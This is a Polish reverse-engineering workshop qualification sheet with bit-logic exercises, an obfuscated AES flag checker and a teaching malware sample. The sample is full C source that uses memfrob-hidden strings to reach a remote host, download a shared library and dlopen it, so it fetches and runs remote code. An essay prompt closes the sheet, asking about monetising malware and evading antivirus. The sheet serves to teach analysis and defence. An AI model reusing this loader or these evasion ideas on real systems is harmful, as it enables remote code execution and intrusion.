Wstęp do inżynierii wstecznej
Zadania kwalifikacyjne

Grzegorz Uriasz — gorbak25@gmail.com

6 kwietnia 2020

Ostateczną wersję rozwiązań zadań proszę przesłać mailowo do mnie w formacie pdf, w terminie podanym na stronie WWW. Proszę dołączyć skrypty/programy powstałe podczas rozwiązywania zadań. Nie wymagam wykonania dużej ilości zadań – większa ich ilość wymagana będzie dopiero przy dużej ilości uczestników. Tak więc wyślij to co udało ci się wykonać. Jeżeli coś nie jest jasne, to napisz do mnie – z chęcią nakieruję na literaturę bądź wytłumaczę/doprecyzuje. Kody źródłowe poniższych programów wraz z potrzebnymi materiałami są dostępne pod adresem https://tinyurl.com/qn76tfk.

1 Okienka...

Podczas warsztatów będziemy się skupiali wyłącznie na analizie programów działających pod Linuksem. Proszę się upewnić że na warsztatach będzie się posiadało Linuksa/WSL/Vmkę. Na wszelki wypadek będzie przygotowana VMka linuksowa dla uczestników warsztatów.

2 [Obowiązkowo]Dlaczego chcesz uczestniczyć w tych warsztatach?

Odpowiedz na to pytanie ściśle i zwięźle. Nie jest to zadanie typu "Gdybyś był owocem, to jakim? Uzasadnij twoje stanowisko na minimalnie dwudziestu stronach A4" - oczekuję tylko krótkiego opisu.

3 [Obowiązkowo]Na rozluźnienie - Jakie jest twoje ulubione zwierze? Jakim zwierzęciem chciałbyś być?

Napisz co chcesz :) Warto się rozluźnić przed rozpoczęciem poniższych zadań :)

4 Operacje logiczne

Odpowiedz na pytania i rozwiąż poniższe równania.

4.1 W jaki sposób można odejmować używając dodawania?

Dodawanie na bramkach logicznych jest o wiele łatwiejsze do zrealizowania niż odejmowanie. A więc w jaki sposób używając operacji logicznych typu and, xor, or ... uzyskać odejmowanie dwóch liczb binarnych mając układ dodający dwie liczby binarne do siebie?
Porada: Poczytaj o reprezentacjach binarnych liczb ze znakiem.

4.2 Operacje bitowe

Masz do dyspozycji 8-bitową zmienną liczbową bez znaku o nazwie Adam. Zaproponuj działania dzięki których ustawisz i-ty bit Adama na 1 oraz j-ty bit Adama na 0. W jaki sposób sprawdzić czy n-ty bit Adama jest jedynką?

Oblicz na kartce(bez pomocy komputera) poniższe dwa działania:
((24 and 101) or (132 xor 241)) nor 5 = ?
(123 xor 153) xor (246 and 235) = ?

5 Sprawdzarka hasła

Poniższy program sprawdza czy podana flaga jest poprawna. Znajdź flagę.

```
// gcc -maes -o enc enc.c
#include <wmmintrin.h>
#include <stdio.h>
#include <string.h>
int main() {int8_t __[] = {0x34, 0x34, 0x34, 0x52, 0x55, 0x18, 0x00, 0x11, 0x1a, 0x13, 0x17, 0
    x0a, 0x00, 0x42, 0x1e, 0x63};
char _[16]; printf("Enter flag: "); scanf("%15s", _);
_mm_storeu_si128((__m128i *) _, _mm_aesenc_si128(_mm_setzero_si128(), _mm_loadu_si128((__m128i
    *) _)));
return printf(memcmp(__, _, 16) ? "        OnO\n*sad raccoon noises*\n" : "        OwO\n*happy
    raccoon noises*\n");}
```

Kompilacja programu odbywa się poleceniem:

```
gcc -maes -o enc enc.c
```

Rozwiązaniem zadania jest:

1. Jaka jest poprawna flaga?
2. W jaki sposób został zaciemniony powyższy kod źródłowy?
3. Czy zwiększenie skomplikowania powyższego programu uniemożliwiłoby poznanie poprawnej flagi?
4. (Opcjonalne, Kryptografia) Czy możliwe jest skonstruowanie programu(nie łączącego się z internetem) sprawdzającego hasło/flagę/klucz licencyjny dla którego NIE możliwe jest wygenerowanie poprawnego hasła/flagi/klucza jeżeli nie jesteśmy uprawnioną do tego osobą?

6 Złośliwe oprogramowanie

Twoim zadaniem będzie przeanalizowanie nieszkodliwego wirusa stosującego pewne triki obecne w prawdziwym złośliwym oprogramowaniu. Poniżej znajduje się kod tego wirusa, w materiałach do zadań kwalifikacyjnych zamieszczony jest Makefile do kompilacji oraz skrypt do uruchomienia go w izolowanym bezpiecznym środowisku(przy użyciu Dockera). Wirus po pewnym czasie pyta się o użytkownika o flagę - należy znaleźć poprawną flagę.

UWAGA! Poniższy program pobiera z internetu kod maszynowy do wykonania! Ze względów bezpieczeństwa proszę uruchamiać poniższy program w dołączonym kontenerze Dockerowym lub w maszynie virtualnej!

```
// g++ malware.c -o malware -ldl -rdynamic
// WWW16 qualification task - Malware

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <dlfcn.h>
#include <linux/limits.h>
#include <sys/mman.h>
#include <sys/types.h>
```

```c
#include <sys/socket.h>

void evil(const char* _) {
        struct addrinfo *__, ___;
        memset(&___, 0, sizeof(struct addrinfo));
        ___.ai_family = 2;
        ___.ai_socktype = 1;
        ___.ai_protocol = 6;

        char *a = (char*)malloc(1337);
        char *b = (char*)malloc(1337);
        strcpy(a, _);
        memfrob(a, strlen(a));
        strcpy(b, "\x12\x1a");
        memfrob(b, strlen(b));
        int ____ = getaddrinfo(a, b, &___, &__);
        if (____ != 0) {
                fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(____));
                exit(1);
        }

        int _____ = socket(2, 1, 6);
        if(_____ < 0) {
                perror("socket");
                exit(1);
        }

        if(connect(_____, __->ai_addr, __->ai_addrlen) < 0) {
                perror("connect");
                exit(1);
        }

        strcpy(b, "\x6d\x6f\x7e\x0a\x05\x0a\x62\x7e\x7e\x7a\x05\x1b\x04\x1a\x27\x20");
        memfrob(b, strlen(b));
        dprintf(_____, b);
        strcpy(b, "\x62\x45\x59\x5e\x10\x0a\x0f\x59\x27\x20\x27\x20");
        memfrob(b, strlen(b));
        dprintf(_____, b, a);
        FILE *______ = tmpfile();
        char _______;
        while(read(_____, &_______, 1) == 1)
                write(fileno(______), &_______, 1);
        char ________[PATH_MAX];
        strcpy(a, "\x05\x5a\x58\x45\x49\x05\x59\x4f\x46\x4c\x05\x4c\x4e\x05\x0f\x4e");
        memfrob(a, strlen(a));
        snprintf(________, PATH_MAX-1, a, fileno(______));
        free(a);
        free(b);
        dlopen(________, 1);
}

void check(const char* _) {
        char __[100] = {0};
        char *a = (char*)malloc(1337);
        strcpy(a, "\x6f\x44\x5e\x4f\x58\x0a\x4c\x46\x4b\x4d\x10\x20");
        memfrob(a, strlen(a));
        printf(a);
        strcpy(a, "\x0f\x13\x13\x59");
        memfrob(a, strlen(a));
        scanf(a, __);
        memfrob(__, strlen(__));
        if(strcmp(_, __) == 0) {
                strcpy(a, "\x69\x45\x58\x58\x4f\x49\x5e\x0a\x4c\x46\x4b\x4d\x20");
        } else {
                strcpy(a, "\x63\x44\x5c\x4b\x46\x43\x4e\x0a\x4c\x46\x4b\x4d\x20");
        }
        memfrob(a, strlen(a));
        printf(a);
```

```
        free(a);
}

int main() {
        evil("\x5d\x5d\x5d\x1b\x1c\x07\x47\x4b\x46\x5d\x4b\x58\x4f\x04\x4d\x45\x58\x48\x4b\x41
            \x18\x1f\x04\x4f\x5f");
        return 0;
}
```

Kompilacja programu odbywa się poleceniem:

```
g++ malware.c -o malware -ldl -rdynamic
```

Rozwiązaniem zadania jest:

1. Jaka jest poprawna flaga?
2. W jaki sposób oprogramowanie pobiera kod do wykonania z serwera?
3. Z jakimi domenami i adresami IP złośliwe oprogramowanie nawiązuje połączenie?
4. Czy zmiana memfrob na porządną kryptografię(np. AES) utrudniłaby analizę tego oprogramowania?
5. Czemu dlopen wykonuje kod pobrany z serwera pomimo że nie wołamy żadnej funkcji z pobranej biblioteki?
6. Zauważ że funkcja check nie jest używana w programie, ale pomimo tego jest ona uruchamiana. W jaki sposób jest ona uruchamiana?
7. Czy przeniesienie logiki sprawdzania flagi do wnętrza biblioteki utrudniłoby analizę?
8. Jakie techniki utrudnienia analizy zostały zastosowne w kodzie złośliwego oprogramowania?
9. Czy udostępnienie skompilowanego programu zamiast kodu źródłowego utrudniłoby analizę?

7 [Obowiązkowe] Attack & Defence

To zadanie nie posiada złych odpowiedzi, niekonieczne jest nawet zrobienie poprzedniego zadania aby się za to zadanie zabrać - oczekuję luźnej opowieści postaci ”kto co może”, ”co można zrobić”, ”co uważam na ten temat” etc..., służy ono do zreflektowania się na możliwe sposoby ataku lub obrony przeróżnych organizacji/ludzi etc...

Rozważmy złośliwe oprogramowanie podobne do tego z poprzedniego zadania, aczkolwiek tym razem kod pobierany z serwera zamiast być nieszkodliwy może realizować przeróżne złowieszcze cele. Autora lub organizację stojącą za tym oprogramowaniem nazwijmy Atakującym. Załóżmy że Atakujący posiada w bliżej nieokreślony sposób możliwość dystrybucji tego oprogramowania do dużej ilości osób. Jednocześnie załóżmy że działania Atakującego zostały zauważone przez badaczy cyberbezpieczeństwa/analityków malware bądź organizacje odpowiadające za cyberbezpieczeństwo których nazwijmy Obroną. Załóżmy że metoda dystrybucji złośliwego oprogramowania powoduje że niezależnie od tego kim jest Broniący i od jego działań będzie ona działała przez np. jeden miesiąc lub tydzień. Atakujący dostarcza i uruchamia na komputerach losowych ludzi klienta podobnego do tego z poprzedniego zadania aczkolwiek metoda pobierania kodu do wykonania pozostaje niezmieniona. Zastanów się i opisz:

- W jaki sposób Atakujący może spieniężyć to złośliwe oprogramowanie(jest tutaj olbrzymia ilość możliwości)? Co fajnego Ofiara może pobrać z serwera kontrolowanego przez Atakującego?
- W jaki sposób Broniący mogą ograniczyć działania Atakującego? Opisz różne warianty w zależności od tego co może i kim jest Broniący.
- W jaki sposób Broniący mogliby przejąć kontrolę nad komputerami na których zostało uruchomione to złośliwe oprogramowanie(jest wiele sposobów)? Opisz to w zależności od tego kim jest i co może Broniący.

- W jaki sposób Atakujący mógłby zabezpieczyć swoje złośliwe oprogramowanie przed przejęciem kontroli nad Ofiarami przez Broniącego?
- W jaki sposób Broniący mogą mogą odebrać dostęp do Ofiar Atakującego?
- W jaki sposób Atakujący mógłby zabezpieczyć się przed utratą dostępu do Ofiar?
- W jaki sposób Atakujący może uniknąć detekcji przez antywirusy?

Powodzenia i do zobaczenia w Zabrzu!